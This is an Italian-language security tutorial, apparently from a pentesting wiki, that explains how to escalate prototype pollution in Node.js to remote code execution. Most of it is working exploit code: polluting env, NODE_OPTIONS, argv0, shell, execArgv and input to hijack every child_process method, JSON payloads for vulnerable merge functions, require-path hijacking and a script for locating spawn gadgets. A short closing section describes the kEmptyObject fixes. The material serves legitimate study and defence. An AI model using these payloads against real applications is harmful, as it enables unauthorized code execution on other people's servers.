Immagina un vero JS che utilizza un codice simile al seguente:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE tramite variabili d'ambiente
PP2RCE significa Prototype Pollution to RCE (Esecuzione Remota di Codice).
Secondo questo writeup, quando un processo viene avviato con qualche metodo da child_process (come fork o spawn o altri) chiama il metodo normalizeSpawnArguments, che è un gadget di inquinamento del prototipo per creare nuove variabili d'ambiente:
Controlla quel codice, puoi vedere che è possibile avvelenare envPairs semplicemente inquinando l'**attributo .env.
Avvelenamento di __proto__
Nota che a causa di come funziona la funzione normalizeSpawnArguments della libreria child_process di node, quando qualcosa viene chiamato per impostare una nuova variabile env per il processo, è sufficiente inquinare qualsiasi cosa.
Ad esempio, se fai __proto__.avar="valuevar" il processo verrà avviato con una variabile chiamata avar con valore valuevar.
Tuttavia, affinché la variabile env sia la prima devi inquinare l'attributo .env e (solo in alcuni metodi) quella variabile sarà la prima (consentendo l'attacco).
Ecco perché NODE_OPTIONSnon è dentro .env nel seguente attacco.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Avvelenamento di constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE tramite variabili d'ambiente + cmdline
Un payload simile a quello precedente con alcune modifiche è stato proposto in questo writeup. Le principali differenze sono:
Invece di memorizzare il payload nodejs all'interno del file /proc/self/environ, lo memorizza all'interno di argv0 di /proc/self/cmdline.
Poi, invece di richiedere tramite NODE_OPTIONS il file /proc/self/environ, richiede /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Interazione DNS
Utilizzando i seguenti payload è possibile abusare della variabile d'ambiente NODE_OPTIONS di cui abbiamo parlato in precedenza e rilevare se ha funzionato con un'interazione DNS:
In questa sezione analizzeremo ogni funzione di child_process per eseguire codice e vedere se possiamo utilizzare qualche tecnica per forzare quella funzione a eseguire codice:
exec exploitation
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile sfruttamento
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
Per **`execFile`** per funzionare **DEVE** eseguire node affinché i NODE\_OPTIONS funzionino.\
Se **non** sta eseguendo **node**, devi trovare come **modificare l'esecuzione** di ciò che sta eseguendo **con le variabili d'ambiente** e impostarle.
Le **altre** tecniche **funzionano** senza questo requisito perché è **possibile modificare** **ciò che viene eseguito** tramite la contaminazione del prototipo. (In questo caso, anche se puoi inquinare `.shell`, non inquinerai ciò che viene eseguito).
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn sfruttamento
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync sfruttamento
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync sfruttamento
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync sfruttamento
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Forzare Spawn
Negli esempi precedenti hai visto come attivare il gadget; una funzionalità che chiama spawn deve essere presente (tutti i metodi di child_process utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente, questo era parte del codice, ma cosa succede se il codice non lo chiama.
Controllare un percorso di file require
In questo altro articolo l'utente può controllare il percorso del file dove verrà eseguito un require. In quel scenario, l'attaccante deve semplicemente trovare un file .js all'interno del sistema che eseguirà un metodo spawn quando importato.
Alcuni esempi di file comuni che chiamano una funzione spawn quando importati sono:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Trova altri file qui sotto
Il seguente semplice script cercherà chiamate da child_processsenza alcun padding (per evitare di mostrare chiamate all'interno di funzioni):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Impostare il percorso del file richiesto tramite inquinamento del prototipo
La tecnica precedente richiede che l'utente controlli il percorso del file che verrà richiesto. Ma questo non è sempre vero.
Tuttavia, se il codice eseguirà un require dopo l'inquinamento del prototipo, anche se non controlli il percorso che verrà richiesto, puoi forzare un percorso diverso abusando dell'inquinamento del prototipo. Quindi, anche se la riga di codice è come require("./a_file.js") o require("bytes"), richiederà il pacchetto che hai inquinato.
Pertanto, se un require viene eseguito dopo il tuo inquinamento del prototipo e non ci sono funzioni di spawn, questo è l'attacco:
Trova un file .js all'interno del sistema che quando richiesto eseguirà qualcosa usando child_process
Se puoi caricare file sulla piattaforma che stai attaccando, potresti caricare un file del genere
Inquina i percorsi per forzare il caricamento del require del file .js che eseguirà qualcosa con child_process
Inquina l'environ/cmdline per eseguire codice arbitrario quando viene chiamata una funzione di esecuzione child_process (vedi le tecniche iniziali)
Require assoluto
Se il require eseguito è assoluto (require("bytes")) e il pacchetto non contiene main nel file package.json, puoi inquinare l'attributo main e far sì che il require esegua un file diverso.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Require relativo - 1
Se viene caricata una percorso relativo invece di un percorso assoluto, puoi far sì che node carichi un percorso diverso:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Require relativo - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Require relativo - 3
Simile al precedente, questo è stato trovato in questo articolo.
Nel documento https://arxiv.org/pdf/2207.11171.pdf è anche indicato che il controllo di contextExtensions da alcuni metodi della libreria vm potrebbe essere utilizzato come gadget.
Tuttavia, come i precedenti metodi child_process, è stato risolto nelle ultime versioni.
Fixes & Unexpected protections
Si prega di notare che la contaminazione del prototipo funziona se l'attributo di un oggetto a cui si accede è undefined. Se nel codice quell'attributo è impostato a un valore, non sarai in grado di sovrascriverlo.
Nel giugno 2022 da questo commit la var options invece di un {} è un kEmptyObject. Questo previene una contaminazione del prototipo che influisce sugli attributi di options per ottenere RCE.
Almeno dalla v18.4.0 questa protezione è stata implementata, e quindi gli exploitspawn e spawnSync che influenzano i metodi non funzionano più (se non vengono utilizzati options!).
In questo commit la contaminazione del prototipo di contextExtensions dalla libreria vm è stata anche in parte risolta impostando le opzioni a kEmptyObject invece di {}.